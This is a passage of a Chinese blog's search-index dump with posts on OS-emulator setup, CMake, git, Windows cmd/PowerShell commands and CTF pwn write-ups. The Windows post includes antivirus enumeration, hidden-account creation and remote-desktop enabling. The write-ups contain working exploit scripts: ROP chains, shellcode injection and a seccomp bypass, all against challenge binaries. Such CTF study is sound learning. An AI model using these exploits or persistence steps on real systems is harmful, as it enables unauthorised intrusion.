llvm-env\n","categories":["其它"]},{"title":"《操作系统真象还原》chapter1 环境搭建","url":"/2024/10/24/system/system-1/","content":"\n环境:wsl Ubuntu22.04\n\n安装GCC安装gcc\napt install gcc\n安装NASMNASM是一个多平台的汇编编译器,语法简洁易用。\napt install nasm\n安装BochsBochs是一个用于模拟硬件的虚拟机。\n包管理安装\napt install bochs\n源码编译安装\n\n下载源代码\n\nwget https://sourceforge.net/projects/bochs/files/bochs/2.7/bochs-2.7.tar.gz/download\n\n编译安装\n\n./configure --prefix=/home/kanshan/Desktop/bochs --enable-debugger --enable-disasm --enable-iodebug --enable-x86-debugger --with-x --with-x11 LDFLAGS='-pthread'makemake install\n\n配置Bochsbochs启动时会根据配置文件进行创建\n所以我们要编写一个配置文件给bochs配置硬件。\n编译安装的目录下有样本文件:share/doc/bochs/bochsrc-sample.txt\napt包管理安装的bochs的配置文件在/etc/bochs-init/bochsrc目录下\n# bochs configuration file # bochsrc.disk# memory size: 32MB# 设置 Bochs 在运行过程中能够使用的内存,本例为 32MBmegs: 32# BIOS and VGA BIOS# 设置对应的真实机器的 BIOS 和 VGA BIOS# 软件安装位置romimage: file=/usr/share/bochs/BIOS-bochs-latestvgaromimage: file=/usr/share/bochs/VGABIOS-lgpl-latest# boot from hard disk (rather than floppy disk)# 选择启动盘符boot: disk# log file# 设置日志文件的输出log: bochs.out# disable mouse, enable keyboard# 关闭鼠标,并打开键盘mouse: enabled=0keyboard: keymap=/usr/share/bochs/keymaps/x11-pc-us.map# hard disk settingata0: enabled=1, ioaddr1=0x1f0, ioaddr2=0x3f0, irq=14# gdb part setting#gdbstub: enabled=1, port=1234, text_base=0, data_base=0, bss_base=0\n\n我们将上面的配置存为bochsrc.disk放在bochs安装目录下。\n运行Bochs运行bochs需要给它创建一个虚拟启动盘\n用于创建虚拟硬盘的工具bin/bximage\n创建虚拟硬盘,输入命令bin/bximage\n然后在输出的交互窗口中依次输入\nPlease choose one [0]1Please type hd or fd. [hd]hdPlease type flat, sparse, growing, vpc or vmware4. [flat]flatPlease type 512, 1024 or 4096. [512]回车[10]60[c.img]hd60M.img\n\n最后一个hd60M.img是我们创建的虚拟硬盘的名称。\n然后在配置文件中添加以下内容\n# hard disk settingata0-master: type=disk, path="hd60M.img", mode=flat,cylinders=121,heads=16,spt=63\n\n接下来我们通过经典Hello World!的代码来测试运行\n将代码保存为mbr.s文件\nSECTION MBR vstart=0x7c00\tmov ax,0x0000\t\tmov ss,ax\tmov ax,0x7c00\tmov sp,ax\t \tmov ax,0x0600\tmov bx,0x0700\t mov cx,0x0000\tmov dx,0x184f\t\tint 0x10\t\tmov ax,0x0300\t\tmov bx,0x0000\t\tint 0x10\t\tmov ax,0x0000\tmov es,ax\tmov ax,message\tmov bp,ax\tmov ax,0x1301\tmov bx,0x0007\tmov cx,0x000c\tint 0x10\t\tjmp $\tmessage db "Hello World!"\ttimes 510-($-$$) db 0\tdb 0x55,0xaa\n\nnasm编译代码为可执行文件\n执行命令nasm mbr.s -o test\n然后将可执行文件写入虚拟机启动磁盘\nif后面填写二进制文件路径,of后面填写磁盘路径。\ndd if=/root/test of=/root/bochs/hd60M.img bs=512 count=1 conv=notrunc\n启动虚拟机查看效果,-f加载配置文件\nbochs -f bochsrc.disk\n输出\n1. Restore factory default configuration2. Read options from...3. Edit options4. Save options to...5. Restore the Bochs state from...6. Begin simulation7. Quit nowPlease choose one: [6]\n\n回车,然后输入c(continue)。\n即可看到输出的Hello World!\n到这里我们的环境已经搭建成功了!\n后言\n参考链接:用《操作系统真象还原》写一个操作系统 第二章 编写MBR主引导记录,让我们开始掌权\n\n","categories":["操作系统原理"],"tags":["读书笔记","kernel"]},{"title":"CMake学习","url":"/2024/10/24/sundry/cmake/","content":"Hello World#CMakeLists.txt#指定支持的最低CMake版本cmake_minimum_required(VERSION 3.5)#指定项目名称project (hello_cmake)#指定应从指定的源文件构建可执行文件#一个参数是要构建的可执行文件的名称,第二个参数是要编译的源文件列表。add_executable(hello_cmake main.cpp)# 简写方式add_executable(${PROJECT_NAME} main.cpp)\n\n使用单独的源文件和头文件CMake 语法指定了一些可以帮助查找项目或源树中有用目录的变量。其中一些包括:\n\n\n\n变量\n含义\n\n\n\nCMAKE_SOURCE_DIR\n根源目录\n\n\nCMAKE_CURRENT_SOURCE_DIR\n当前源目录(如果使用子项目和目录)。\n\n\nPROJECT_SOURCE_DIR\n当前CMake项目的源目录。\n\n\nCMAKE_BINARY_DIR\n根二进制/构建目录。这是您运行cmake命令的目录。\n\n\nCMAKE_CURRENT_BINARY_DIR\n您当前所在的构建目录。\n\n\nPROJECT_BINARY_DIR\n当前项目的构建目录。\n\n\n在运行make时添加VERBOSE标志,以查看完整的输出。\n# 指定支持的最低CMake版本cmake_minimum_required(VERSION 3.5)# 指定项目名称project (hello_headers)# 创建一个包含源文件的变量set(SOURCES src/Hello.cpp src/main.cpp)# 设置 SOURCES变量中特定文件名的另一种替代方法是使用 GLOB 命令,通过通配符模式匹配来查找文件。# file(GLOB SOURCES "src/*.cpp")# 添加源文件add_executable(hello_headers ${SOURCES})# 设置包含目录target_include_directories(hello_headers PRIVATE ${PROJECT_SOURCE_DIR}/include)\n\n使用静态库add_library()函数用于从一些源文件中创建一个库。\nadd_library(hello_library STATIC\tsrc/hello.cpp)\n\n使用target_include_directories函数将目录包含在库中,作用域设置为PUBLIC\ntarget_include_directories(hello_library PUBLIC ${PROJECT_SOURCE_DIR}/include)\n作用域的含义如下:\n\nPRIVATE 该目录仅添加到此目标的包含目录\nINTERFACE 该目录添加到任何链接此库的目标的包含目录\nPUBLIC 如下所述,即包含在此库中,也包含在任何链接此库的目标中。对于公共头文件target_include_directories的目录将是包含目录树的根,您的C++文件应从该位置开始包含头文件路径。\n\n在这个例子使用这种方法可以减少项目中使用多个库时,头文件名称冲突的可能性。\n# 指定支持的最低CMake版本cmake_minimum_required(VERSION 3.5)# 指定项目名称project(hello_library)############################################################# Create a library#############################################################Generate the static library from the library sourcesadd_library(hello_library STATIC src/Hello.cpp)target_include_directories(hello_library PUBLIC ${PROJECT_SOURCE_DIR}/include)############################################################# Create an executable############################################################# Add an executable with the above sourcesadd_executable(hello_binary src/main.cpp)# link the new hello_library target with the hello_binary targettarget_link_libraries( hello_binary PRIVATE hello_library)\n\n使用共享库cmake_minimum_required(VERSION 3.5)# 项目名称project(hello_library)############################################################# Create a library#############################################################Generate the shared library from the library sources# add_library函数用于从一些源文件创建共享库add_library(hello_library SHARED src/Hello.cpp)# 创建一个别名目标 hello::library,它指向实际的库目标 hello_library。add_library(hello::library ALIAS hello_library)target_include_directories(hello_library PUBLIC ${PROJECT_SOURCE_DIR}/include)############################################################# Create an executable############################################################# Add an executable with the above sourcesadd_executable(hello_binary src/main.cpp)# link the new hello_library target with the hello_binary target# 链接共享库与链接静态库是相同的。在创建可执行文件时,使用 `target_link_library()` 函数指向你的库。target_link_libraries( hello_binary PRIVATE hello::library)\n\nmake installCMake 提供了添加 make install 目标的功能,允许用户安装二进制文件、库和其他文件。基础安装位置由变量 CMAKE_INSTALL_PREFIX 控制,可以通过 ccmake 设置或通过调用 cmake .. -DCMAKE_INSTALL_PREFIX=/install/location 来设置。\ncmake_minimum_required(VERSION 3.5)project(cmake_examples_install)############################################################# Create a library#############################################################Generate the shared library from the library sourcesadd_library(cmake_examples_inst SHARED src/Hello.cpp)target_include_directories(cmake_examples_inst PUBLIC ${PROJECT_SOURCE_DIR}/include)############################################################# Create an executable############################################################# Add an executable with the above sourcesadd_executable(cmake_examples_inst_bin src/main.cpp)# link the new hello_library target with the hello_binary targettarget_link_libraries( cmake_examples_inst_bin PRIVATE cmake_examples_inst)############################################################# Install############################################################# Binaries# 安装名为cmake_examples_inst_bin的可执行目标到指定的目标目录bininstall (TARGETS cmake_examples_inst_bin DESTINATION bin)# Library# Note: may not work on windows# 安装名为 cmake_examples_inst 的库目标到 lib 目录install (TARGETS cmake_examples_inst LIBRARY DESTINATION lib)# Header files# 将 include 目录下的所有头文件拷贝到安装目录的 include 目录中install(DIRECTORY ${PROJECT_SOURCE_DIR}/include/ DESTINATION include)# Config# 将名为 cmake-examples.conf 的文件安装到 etc 目录install (FILES cmake-examples.conf DESTINATION etc)\n\n设置默认构建和优化标志CMake 具有多种内置的构建配置,可用于编译您的项目。这些配置指定了优化级别以及是否在二进制文件中包含调试信息。\n提供的级别有:\n\nRelease - 添加 -O3 -DNDEBUG 标志到编译器\nDebug - 添加 -g 标志\nMinSizeRel - 添加 -Os -DNDEBUG 标志\nRelWithDebInfo - 添加 -O2 -g -DNDEBUG 标志# Set the minimum version of CMake that can be used# To find the cmake version run# $ cmake --versioncmake_minimum_required(VERSION 3.5)# 检查是否没有指定构建类型(CMAKE_BUILD_TYPE),并且没有使用多配置生成器(如Visual Studio,使用CMAKE_CONFIGURATION_TYPES)。if(NOT CMAKE_BUILD_TYPE AND NOT CMAKE_CONFIGURATION_TYPES) # 输出消息,提示用户将构建类型设置为RelWithDebInfo,因为没有指定任何构建类型。 message("Setting build type to 'RelWithDebInfo' as none was specified.") # 将构建类型设置为RelWithDebInfo,并将其缓存为一个字符串类型的变量。FORCE选项确保即使该变量之前被设置,也会被覆盖。 set(CMAKE_BUILD_TYPE RelWithDebInfo CACHE STRING "Choose the type of build." FORCE) # 为CMake GUI设置构建类型的可能值,允许用户在GUI中选择。这里列出了Debug、Release、MinSizeRel和RelWithDebInfo四个选项。 set_property(CACHE CMAKE_BUILD_TYPE PROPERTY STRINGS "Debug" "Release" "MinSizeRel" "RelWithDebInfo") endif()# 设置项目名称project (build_type)# 添加可执行文件add_executable(cmake_examples_build_type main.cpp)\n\n设置额外的编译标志cmake_minimum_required(VERSION 3.5)# Set a default C++ compile flagset (CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -DEX2" CACHE STRING "Set C++ Compiler Flags" FORCE)# Set the project nameproject (compile_flags)# Add an executableadd_executable(cmake_examples_compile_flags main.cpp)target_compile_definitions(cmake_examples_compile_flags PRIVATE EX3)\n\n链接第三方库cmake_minimum_required(VERSION 3.5)# Set the project nameproject (third_party_include)# find a boost install with the libraries filesystem and systemfind_package(Boost 1.46.1 REQUIRED COMPONENTS filesystem system)# check if boost was foundif(Boost_FOUND) message ("boost found")else() message (FATAL_ERROR "Cannot find Boost")endif()# Add an executableadd_executable(third_party_include main.cpp)# link against the boost librariestarget_link_libraries( third_party_include PRIVATE Boost::filesystem)\n\n调用clangCMake 提供选项来控制用于编译和链接代码的程序。这些程序包括:\n\nCMAKE_C_COMPILER - 用于编译 C 代码的程序。\n\nCMAKE_CXX_COMPILER - 用于编译 C++ 代码的程序。\n\nCMAKE_LINKER - 用于链接二进制文件的程序。\n\n\n# Set the minimum version of CMake that can be used# To find the cmake version run# $ cmake --versioncmake_minimum_required(VERSION 3.5)# Set the project nameproject (hello_cmake)# Add an executableadd_executable(hello_cmake main.cpp)\n\n#pre_test.sh#!/bin/bashROOT_DIR=`pwd`dir="01-basic/I-compiling-with-clang"if [ -d "$ROOT_DIR/$dir/build.clang" ]; then echo "deleting $dir/build.clang" rm -r $dir/build.clangfi\n\n#run_tesh.sh#!/bin/bash# Ubuntu supports multiple versions of clang to be installed at the same time.# The tests need to determine the clang binary before calling cmakeclang_bin=`which clang`clang_xx_bin=`which clang++`if [ -z $clang_bin ]; then clang_ver=`dpkg --get-selections | grep clang | grep -v -m1 libclang | cut -f1 | cut -d '-' -f2` clang_bin="clang-$clang_ver" clang_xx_bin="clang++-$clang_ver"fiecho "Will use clang [$clang_bin] and clang++ [$clang_xx_bin]"mkdir -p build.clang && cd build.clang && \\ cmake .. -DCMAKE_C_COMPILER=$clang_bin -DCMAKE_CXX_COMPILER=$clang_xx_bin && make\n\n\n生成ninja构建文件# Set the minimum version of CMake that can be used# To find the cmake version run# $ cmake --versioncmake_minimum_required(VERSION 3.5)# Set the project nameproject (hello_cmake)# Add an executableadd_executable(hello_cmake main.cpp)\n\n#pre_test.sh#!/bin/bashROOT_DIR=`pwd`dir="01-basic/J-building-with-ninja"if [ -d "$ROOT_DIR/$dir/build.ninja" ]; then echo "deleting $dir/build.ninja" rm -r $dir/build.ninjafi\n\n#run_tesh.sh#!/bin/bash# Travis-ci cmake version doesn't support ninja, so first check if it's supportedninja_supported=`cmake --help | grep Ninja`if [ -z $ninja_supported ]; then echo "Ninja not supported" exitfimkdir -p build.ninja && cd build.ninja && \\ cmake .. -G Ninja && ninja\n\n\n导入目标链接Boostcmake_minimum_required(VERSION 3.5)# Set the project nameproject (imported_targets)# find a boost install with the libraries filesystem and systemfind_package(Boost 1.46.1 REQUIRED COMPONENTS filesystem system)# check if boost was foundif(Boost_FOUND) message ("boost found")else() message (FATAL_ERROR "Cannot find Boost")endif()# Add an executableadd_executable(imported_targets main.cpp)# link against the boost librariestarget_link_libraries( imported_targets PRIVATE Boost::filesystem)\n\n#run_test.sh#!/bin/bash# Make sure we have the minimum cmake versioncmake_version=`cmake --version | grep version | cut -d" " -f3`[[ "$cmake_version" =~ ([3-9][.][5-9.][.][0-9]) ]] || exit 0echo "correct version of cmake"mkdir -p build && cd build && cmake .. && makeif [ $? -ne 0 ]; then echo "Error running example" exit 1fi\n\n设置C++标准1# Set the minimum version of CMake that can be used# To find the cmake version run# $ cmake --versioncmake_minimum_required(VERSION 2.8)# Set the project nameproject (hello_cpp11)# try conditional compilationinclude(CheckCXXCompilerFlag)CHECK_CXX_COMPILER_FLAG("-std=c++11" COMPILER_SUPPORTS_CXX11)CHECK_CXX_COMPILER_FLAG("-std=c++0x" COMPILER_SUPPORTS_CXX0X)# check results and add flagif(COMPILER_SUPPORTS_CXX11)# set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++11")elseif(COMPILER_SUPPORTS_CXX0X)# set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++0x")else() message(STATUS "The compiler ${CMAKE_CXX_COMPILER} has no C++11 support. Please use a different C++ compiler.")endif()# Add an executableadd_executable(hello_cpp11 main.cpp)\n\n2# Set the minimum version of CMake that can be used# To find the cmake version run# $ cmake --versioncmake_minimum_required(VERSION 3.1)# Set the project nameproject (hello_cpp11)# set the C++ standard to C++ 11set(CMAKE_CXX_STANDARD 11)# Add an executableadd_executable(hello_cpp11 main.cpp)\n\n3# Set the minimum version of CMake that can be used# To find the cmake version run# $ cmake --versioncmake_minimum_required(VERSION 3.1)# Set the project nameproject (hello_cpp11)# Add an executableadd_executable(hello_cpp11 main.cpp)# set the C++ standard to the appropriate standard for using autotarget_compile_features(hello_cpp11 PUBLIC cxx_auto_type)# Print the list of known compile features for this version of CMakemessage("List of compile features: ${CMAKE_CXX_COMPILE_FEATURES}")\n","categories":["其它"]},{"title":"cmd和powershell常用命令","url":"/2024/10/24/sundry/powershell-cmd/","content":"因为上课的原因有所学习,现整理一下常用的powershell和cmd命令。\n以下命令若非特意说明,就是powershell和cmd的通用命令。\n常用命令\n最常用的清屏\n\ncls\n\n\n查看当前用户\n\nwhoami\n\nwindows下的grep\n\nfindstr\n\n\n起别名(powershell独有)\n\nset-alias aaa get-command\n\n\n关机和重启\n\n-- 默认一分钟关机shutdown -s-- 重启shutdown /r\n\n\n定时关机\n\nshutdown -s -t 秒数\n\n\n网络管理\n查看网络适配器的详细信息\n\n- 查看网卡信息ipconfig- 查看详细信息ipconfig /all\n\n\n测试网络连通性\n\n- 测试ipping ip- 测试域名ping www.baidu.com\n\n\n设置ip地址\n\n-- cmdnetsh interface ip set address "Local Area Connection" static 192.168.1.100 255.255.255.0 192.168.1.1-- powershellNew-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.1.100 -PrefixLength 24 -DefaultGateway 192.168.1.1\n\n用户和组管理\n查看用户\n\nnet user\n\n\n创建用户\n\nnet user 用户名 密码 /add\n\n\n删除用户\n\nnet user 用户名 /del\n\n\n切换用户\n\nrunas /user:用户名 cmd\n\n\n查看用户组\n\nnet localgroup\n\n\n创建用户组\n\nnet localgroup 组名 /add\n\n\n删除用户组\n\nnet localgroup 组名 /del\n\n\n添加用户到用户组\n\nnet localgroup 组名 用户名 /add\n\n\n从用户组删除用户\n\nnet localgroup 组名 用户名 /del\n\n文件管理\n显示当前路径\n\n-- cmdcd-- powershellpwd\n\n\n查看当前目录\n\n-- cmddir-- powershellls\n\n\n切换目录\n\ncd 路径\n\n\n创建目录\n\nmkdir 目录名\n\n\n删除目录\nrd 目录名\n\n创建文件\n\n\ntype nul > demo.txt\n\n\n查看文件内容\ntype 文件名\n\n复制文件\n\n\ncopy 路径\\文件名 路径\\文件名\n\n\n移动文件(也可移动目录)\n\nmove 路径\\文件名 路径\\文件名\n\n\n删除文件\n\ndel 文件名\n\n\n进程管理\n查看正在运行的进程\ntasklist\n\n结束特定进程\ntaskkill /im 进程名 taskkill /im 进程id /f\n\n查看进程详细信息\ntasklist /v\n\n安全常用信息搜集\n查看当前权限详细信息\nwhoami /all\n\n查看系统信息\nsysteminfo\n\n查看已安装的软件\nwmic product get name, version\n\n查看是否有杀软\nwmic /namespace:\\\\root\\SecurityCenter2 path AntiVirusProduct get displayName,productState\n\n创建影子账户在Windows中,影子账户通常指的是不在登录界面上显示的用户账户。\n创建影子账户的步骤:\n\n创建账户\nnet user 用户名 密码 /add\n\n将用户账户设为隐藏\nnet user 用户名 /active:no\n\n远程连接\n开启远程连接\nreg add "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f\n\n允许防火墙通过远程桌面服务\nnetsh advfirewall firewall set rule group="remote desktop" new enable=Yes\n\n重启远程桌面服务\nnet stop termservicenet start termservice\n\n关闭远程桌面\nreg add "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f\n\n脚本在Windows中,创建一个后缀名为bat的文件,并且写入想要执行的cmd命令即可通过文件批量的执行cmd命令。\n这个文件叫作批处理文件,也就是cmd的命令脚本。\n同理powershell的脚本文件也是写入的powershell命令的文件,而powershell脚本的文件后缀为ps1,并且还需要将powershell的执行策略设置为脚本可执行。\n设置脚本可执行策略\nSet-ExecutionPolicy RemoteSigned\n\n","categories":["其它"]},{"title":"2024moectf","url":"/2024/10/25/wp/moe/","content":"pwnNotEnoughTime本题考察 Pwntools 基本⽤法,虽然是简单的计算加减乘除,但是在输出算式时刻意添加延迟营造⽹络卡顿环境,并且算式存在多⾏情况,意在引导使⽤ recvuntil 。注意在使⽤Python eval 前需要去除多⾏算式中的\\n以及末尾的=以符合 Python 语法。除法是整数除法,在 Python 语法中为 // 。⽐赛期间注意到很多选⼿把除法看作浮点数运算,由s此触发了许多奇怪的 bug(出题时并没有考虑到会有浮点数输⼊的情况)。于是临时新增了⼀个提⽰。\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.iosla(b"=",b"2")sla(b"=",b"0")ru(b"!")for _ in range(20): sl( str( eval( ru(b"=") .replace(b"\\n",b"") .replace(b"=",b"") .replace(b"/",b"//") .decode() ) ).encode() )ia()\n\nno_more_gets\n\nleak_sthez_shellcode#! /usr/bin/env python3from pwn import *context(log_level='debug', arch='amd64', os='linux', terminal = ['tmux', 'sp', '-h', '-p', '70'])file_name = './pwn'# io = process(file_name)io = remote('127.0.0.1', 54533)# gdb.attach(io)sh = asm(shellcraft.sh())io.recvuntil('age:\\n')io.sendline(b'200')io.recvuntil('you :\\n')gift = io.recvuntil('\\n')gift = eval(gift.decode())# 通过nop对齐把shellcode弄到栈内,并且gift进行栈溢出,0x101a是gadget retow = sh.ljust(0x60 + 0x8, b'\\x90') + p64(gift) + p64(0x101a)io.sendline(ow)io.interactive()\n\n这是什么?libc!程序本⾝没有pop rdi等⽤于传递参数的 gadget,也没有可以 getshell 的函数( system 、 execve 等)需要从 libc 中获取。⼀般 glibc 中会有/bin/sh字符串和system函数,找到它们的偏移量,再通过给出的 puts 地址减去 puts 在 libc 中偏移量计算 libc基址,配合 libc 中的 x86_64 传参 gadget( pop rdi …)就能 getshell 了。此时再次遇到栈指针 16 字节对⻬问题,通过在 ROP 链中添加空 gadget(仅 ret )将栈指针移动 8 字节解决。\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc=ELF("./libc.so.6")ru(b"0x")libc.address=int(r(12),16)-libc.sym.putspayload=cyclic(9)+flat([libc.search(asm("pop rdi;ret;")).__next__()+1, libc.search(asm("pop rdi;ret;")).__next__(), libc.search(b"/bin/sh\\x00").__next__(), libc.sym.system, ])sa(b">",payload)ia()\n\n这是什么?shellcode这是什么?random#! /usr/bin/env python3from pwn import *context(log_level='debug', arch='amd64', os='linux', terminal = ['tmux', 'sp', '-h', '-p', '70'])file_name = './prerandom'elf = ELF(file_name)libc = ELF('./libc.so.6')# io = process(file_name)io = remote('127.0.0.1', 30991)rands = [94628, 29212, 40340, 61479, 52327, 69717, 13474, 57303, 18980, 86711, 33971, 90017, 48999, 57470, 76676, 92638, 37434, 77014, 78089, 95060]for i in rands: io.recvuntil(b'> ') io.sendline(str(i).encode())io.interactive()\n\nflag_helper这是什么?GOT!程序直接将输入写入got表,我们通过将exit函数的got表修改为bookdoor。\n来获取shell,但是我们不能覆盖system的got表,但是system函数还未进行调用,即\n未进行重定位,我们通过gdb查看system的got表的内存值,然后将其覆盖。\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfr()unreach=0x401196system=0x401056#system=elf.got.systems(cyclic(0x10) + p64(system) + cyclic(0x20) + p64(unreach))ia()\n\nNX_on!这是什么?32-bit!#! /usr/bin/env python3from pwn import *context(log_level='debug', arch='i386', os='linux', terminal = ['tmux', 'sp', '-h', '-p', '70'])file_name = './backdoor'elf = ELF(file_name)libc = ELF('./libc.so.6')# io = process(file_name)io = remote('127.0.0.1', 25186)# gdb.attach(io)io.send(b'\\n')io.recvuntil(b'word: ')# exceve("/bin/sh", NULL, NULL);io.sendline(cyclic(0x28+0x4) + p32(0x8049212) + p32(0x0804A011) + p32(0)*2)io.interactive()\n\nMoeplaneLoginSystemCatch_the_canary!shellcode_revengePwn_it_off!return 15#srop\n\n\nVisibleInputSystem_not_found!Read_once_twice!Where is fmt?Got it!栈的奇妙之旅One Chance!GoldenwingluoshreXorupxdynamicupx-revengextead0tN3trc4xxteaTEA逆向工程进阶之北moedailymoejvavsm4ezMAZEJust-Run-ItSecretModuleCython-Strike: Bomb DefusionSMCProMaxezMAZE-彩蛋xor(大嘘)babe-z3BlackHolemoeprotector特工luo: 闻风而动特工luo: 深入敌营","categories":["wp"],"tags":["赛后复现"]},{"title":"git","url":"/2024/10/25/sundry/git/","content":"本地操作创建项目\ngit init\n\n克隆项目\ngit clone 网址\n\n跟踪文件或目录\ngit add <name>\n\n取消跟踪\ngit rm <name>\n\n保留目录但是不被跟踪\ngit rm --cache <name>\n\n取消缓存状态\ngit reset HEAD <name>\n\n提交\ngit commitgit commit -m ""\n\n取消提交,只能取消第一次之外的提交\ngit reset head~ --soft\n\n查看文件状态\ngit status\n\n查看文件哪里被修改\ngit diff\n\n查看提交历史\ngit log美化输出git log --prettygit log --pretty=format:"%h-%an,%ar:%s"%h 简化哈希%an 作者名字%ar 修订日期(距今)%ad 修订日期%s 提交说明图形化呈现git log --graph\n\n远程操作链接远程仓库\ngit remote add bat https://github.com/tingfengdaojun/bat.git查看远程链接仓库git remote修改远程仓库名字git rename\n\n推送代码到远程仓库\ngit push 仓库名 分支名//强制推送,覆盖远程仓库git push 仓库名 分支名 --force\n\n分支查看分支\n查看当前分支git loggit status查看所有分支git branch --list\n\n创建分支\ngit branch 分支名\n\n切换分支\ngit checkout 分支名\n\n合并分支\n合并到当前分支git merge 分支名\n\n储藏当前的文件\ngit stash\n恢复文件\ngit stash apply\n\n","categories":["其它"]},{"title":"geek","url":"/2024/11/24/wp/geek/","content":""},{"title":"2024Newstar","url":"/2024/10/25/wp/new/","content":"pwnweek1giaopwn64位无脑栈溢出,通过vuln中的read函数像buf中写入大量数据,超出buf变量的长度导致rbp和返回地址被覆盖。\n通过栈溢出漏洞劫持执行流,通过pop_rdi将cat flag字符串弹入rdi寄存器作为system参数,然后返回执行system函数。\n加的ret指令是为了栈平衡。\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfr()pop_rdi=0x0000000000400743ret=0x00000000004004fesystem=0x4006D2cat_flag=0x601048payload=b'\\x00'*40+p64(pop_rdi)+p64(cat_flag)+p64(ret)+p64(system)s(payload)ia()\n\n\nezstackmain函数会返回到stack函数执行,stack函数中存在栈溢出。\n发现vuln中存在system函数,并且将输入的内容作为system函数的参数执行。\n但是对输入的内容做了过滤,如果内容中包含s、h、c、f 等字符则报错返回。\n所以我们要拿到shell,必须输入一个不被过滤的字符。\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfoff=56#ret用于平栈ret=0x000000000040101apayload=b'\\x00'*off+p64(ret)+p64(elf.sym.vuln)sl(payload)#$0也可以获取shellsla("command\\n",b"$0")ia()\n\nezorw沙箱题\n禁止了read、write、open、readv、writev、execveat等系统调用。\n常规的orw并不奏效,但是我们可以通过openat和sendfile来读取flag\n line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013 0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013 0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013 0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013 0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013 0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013 0010: 0x15 0x02 0x00 0x00000142 if (A == execveat) goto 0013 0011: 0x15 0x01 0x00 0x0000024f if (A == 0x24f) goto 0013 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0013: 0x06 0x00 0x00 0x00000000 return KILL\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elf#通过openat系统调用打开flag文件,返回描述符3#通过sendfile系统调用将文件描述符3对应的文件内容从偏移0开始发送到文件描述符1shellcode=asm(shellcraft.openat(0,'/flag')+shellcraft.sendfile(1,3,0,0x100))payload=asm(shellcode)r()sl(payload)ia()\n\nezfmtexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc=ELF("./libc-2.31.so")vuln=0x40120Dpayload=b"%13$p%15$p".ljust(0x28,b"a")+p64(vuln)s(payload)ru("welcome to YLCTF\\n")base=int(r(14),16)stack=int(r(14),16)print("base:",hex(base))print("stack:",hex(stack))base=base-0x024083stack=stack-0x000120 print(hex(base))print(hex(stack))pop_rdi=0x4012b3system=base+libc.sym.systemsh=base+next(libc.search(b"/bin/sh\\x00"))leave_ret=0x401241payload=p64(pop_rdi)+p64(sh)+p64(system)+p64(0)+p64(stack)+p64(leave_ret)s(payload)ia()\n\n\n\nweek2week3reweek1week2week3","categories":["wp"],"tags":["赛后复现"]},{"title":"pcb","url":"/2024/11/24/wp/pcb/","content":""},{"title":"pwnable.tw","url":"/2024/10/25/wp/pwnable-tw/","content":"start\n查保护\n\n没有任何保护\nArch: i386-32-littleRELRO: No RELROStack: No canary foundNX: NX disabledPIE: No PIE (0x8048000)\n\n\n分析程序\n\n保存现场.text:08048060 push esp.text:08048061 push offset _exit清空寄存器.text:08048066 xor eax, eax.text:08048068 xor ebx, ebx.text:0804806A xor ecx, ecx.text:0804806C xor edx, edx参数压栈.text:0804806E push 3A465443h.text:08048073 push 20656874h.text:08048078 push 20747261h.text:0804807D push 74732073h.text:08048082 push 2774654Ch系统调用write,将字符串输出.text:08048087 mov ecx, esp ; addr.text:08048089 mov dl, 14h ; len.text:0804808B mov bl, 1 ; fd.text:0804808D mov al, 4.text:0804808F int 80h ; LINUX - sys_write系统调用read,读取.text:08048091 xor ebx, ebx.text:08048093 mov dl, 3Ch ;.text:08048095 mov al, 3.text:08048097 int 80h ; LINUX -返回exit函数.text:08048099 add esp, 14h.text:0804809C retnexit函数.text:0804809D pop esp.text:0804809E xor eax, eax.text:080480A0 inc eax.text:080480A1 int 80h ; LINUX - sys_exit\n\n\n利用思路\n\n利用的关键就在于如何泄露栈帧\n而泄露栈帧的关键就在于这个汇编指令\n.text:08048087 mov ecx, esp ; addr\n\n通过将esp的值复制到ecx,然后调用write系统调用将值进行输出即可泄露栈帧。\n\n构造exp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfshellcode = b'\\x31\\xc9\\xf7\\xe1\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80'print(len(shellcode))buf_addr=0x8048087off=20def leak(): r() payload=b'a'*off+p32(buf_addr) s(payload) k=r(4) return u32(k)def get_pwn(addr): payload=b'a'*off+p32(addr+off)+shellcode s(payload) ia()buf_sta=leak()print("buf stack address 